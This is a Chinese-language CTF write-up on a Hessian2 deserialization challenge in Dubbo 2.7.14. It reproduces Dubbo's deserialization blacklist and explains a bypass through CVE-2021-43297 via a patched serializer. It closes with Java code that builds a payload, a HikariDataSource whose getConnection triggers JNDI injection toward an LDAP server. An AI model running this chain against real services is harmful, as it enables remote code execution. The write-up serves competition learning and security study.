2022网鼎杯青龙组Hessian2反序列化wp
离谱的比赛,做了一天这个题,比赛结束最后三分钟拿了个一血,又是高血压的一天。
题目环境
dubbo 2.7.14
pom依赖
jar包里面的Mybadbean 一眼丁真触发任意getter
反序列化点
最开始以为就是普普通通的反序列化 hessian2的利用链一般有 ROME XBean Resin Spring这几条 但是很不幸2.7.14版本有反序列化黑名单 本题唯一有的spring环境也在黑名单中
bsh.
ch.qos.logback.core.db.
clojure.
com.alibaba.citrus.springext.support.parser.
com.alibaba.citrus.springext.util.SpringExtUtil.
com.alibaba.druid.pool.
com.alibaba.hotcode.internal.org.apache.commons.collections.functors.
com.alipay.custrelation.service.model.redress.
com.alipay.oceanbase.obproxy.druid.pool.
com.caucho.config.types.
com.caucho.hessian.test.
com.caucho.naming.
com.ibm.jtc.jax.xml.bind.v2.runtime.unmarshaller.
com.ibm.xltxe.rnm1.xtq.bcel.util.
com.mchange.v2.c3p0.
com.mysql.jdbc.util.
com.rometools.rome.feed.
com.sun.corba.se.impl.
com.sun.corba.se.spi.orbutil.
com.sun.jndi.rmi.
com.sun.jndi.toolkit.
com.sun.org.apache.bcel.internal.
com.sun.org.apache.xalan.internal.
com.sun.rowset.
com.sun.xml.internal.bind.v2.
com.taobao.vipserver.commons.collections.functors.
groovy.lang.
java.beans.
java.lang.ProcessBuilder
java.lang.Runtime
java.rmi.server.
java.security.
java.util.ServiceLoader
javassist.bytecode.annotation.
javassist.tools.web.Viewer
javassist.util.proxy.
javax.imageio.
javax.imageio.spi.
javax.management.
javax.media.jai.remote.
javax.naming.
javax.script.
javax.sound.sampled.
javax.xml.transform.
net.bytebuddy.dynamic.loading.
oracle.jdbc.connector.
oracle.jdbc.pool.
org.apache.aries.transaction.jms.
org.apache.bcel.util.
org.apache.carbondata.core.scan.expression.
org.apache.commons.beanutils.
org.apache.commons.codec.binary.
org.apache.commons.collections.functors.
org.apache.commons.collections4.functors.
org.apache.commons.configuration.
org.apache.commons.configuration2.
org.apache.commons.dbcp.datasources.
org.apache.commons.dbcp2.datasources.
org.apache.commons.fileupload.disk.
org.apache.ibatis.executor.loader.
org.apache.ibatis.javassist.bytecode.
org.apache.ibatis.javassist.tools.
org.apache.ibatis.javassist.util.
org.apache.ignite.cache.
org.apache.log.output.db.
org.apache.log4j.receivers.db.
org.apache.myfaces.view.facelets.el.
org.apache.openjpa.ee.
org.apache.openjpa.ee.
org.apache.shiro.
org.apache.tomcat.dbcp.
org.apache.velocity.runtime.
org.apache.velocity.
org.apache.wicket.util.
org.apache.xalan.xsltc.trax.
org.apache.xbean.naming.context.
org.apache.xpath.
org.apache.zookeeper.
org.aspectj.apache.bcel.util.
org.codehaus.groovy.runtime.
org.datanucleus.store.rdbms.datasource.dbcp.datasources.
org.eclipse.jetty.util.log.
org.geotools.filter.
org.h2.value.
org.hibernate.tuple.component.
org.hibernate.type.
org.jboss.ejb3.
org.jboss.proxy.ejb.
org.jboss.resteasy.plugins.server.resourcefactory.
org.jboss.weld.interceptor.builder.
org.mockito.internal.creation.cglib.
org.mortbay.log.
org.quartz.
org.springframework.aop.aspectj.
org.springframework.beans.BeanWrapperImpl$BeanPropertyHandler
org.springframework.beans.factory.
org.springframework.expression.spel.
org.springframework.jndi.
org.springframework.orm.
org.springframework.transaction.
org.yaml.snakeyaml.tokens.
pstore.shaded.org.apache.commons.collections.
sun.rmi.server.
sun.rmi.transport.
weblogic.ejb20.internal.
weblogic.jms.common.
google之后发现这个版本的dubbo存在CVE-2021-43297漏洞 最后只找到了这篇有用的文章https://paper.seebug.org/1814/
到这里的思路就很明显了 就是利用这个点触发mybadbean的tostring()然后调getter了
关键的地方就在于构造到达tostring() 这里我直接使用他重写的这个方法 修改的关键地方在这里
if (length <= 31) {
if (value.startsWith("2.")) {//这里只让写入version版本的时候使服务端readString异常,走向expect
buffer[offset++] = 67;//取值67
} else {
buffer[offset++] = (byte) (0 + length);
}
ObjectOutput out = new Hessian2ObjectOutput(byteArrayOutputStream);
out.writeUTF("2.2");
out.writeObject(o);
这样会写入一个字节67到序列化数据最开头
这里去跟进调试一下反序列化过程 第一个字节为67进入 跟进
进入readstring()之后拿到第二个字节
这里需要走到default分支 所以第二个字节为67也可以进入
再继续读取后面的序列化数据 然后隐式调用了obj的tostring方法 所以还需要修改一下 重写的方法
在这里加上这个 改变一下偏移就能写入两个67
最后还需要一个getter利用链 这里我首先想到了TemplatesImpl和signedobject 但是很不幸都在上面的黑名单里面 所以只能是在pom依赖里面的HikariCP去找了 网上只找到了个setter的利用
还得靠自己找-.- 最后找到了com.zaxxer.hikari.HikariDataSource#getConnection()可以造成jndi注入
public static void main(String[] args)throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
HikariDataSource ds = new HikariDataSource();
ds.setDataSourceJNDI("ldap://127.0.0.1:1389/TomcatBypass/TomcatEcho/1");
ObjectOutput out = new Hessian2ObjectOutput(byteArrayOutputStream);
Object o=new com.ctf.badbean.bean.MyBean("","",ds,com.zaxxer.hikari.HikariDataSource.class);
out.writeUTF("2.2");
out.writeObject(o);
out.flushBuffer();
System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
//Hessian2Input hessian2Input= new Hessian2Input(new ByteArrayInputStream((byteArrayOutputStream.toByteArray())));
//hessian2Input.readObject();
}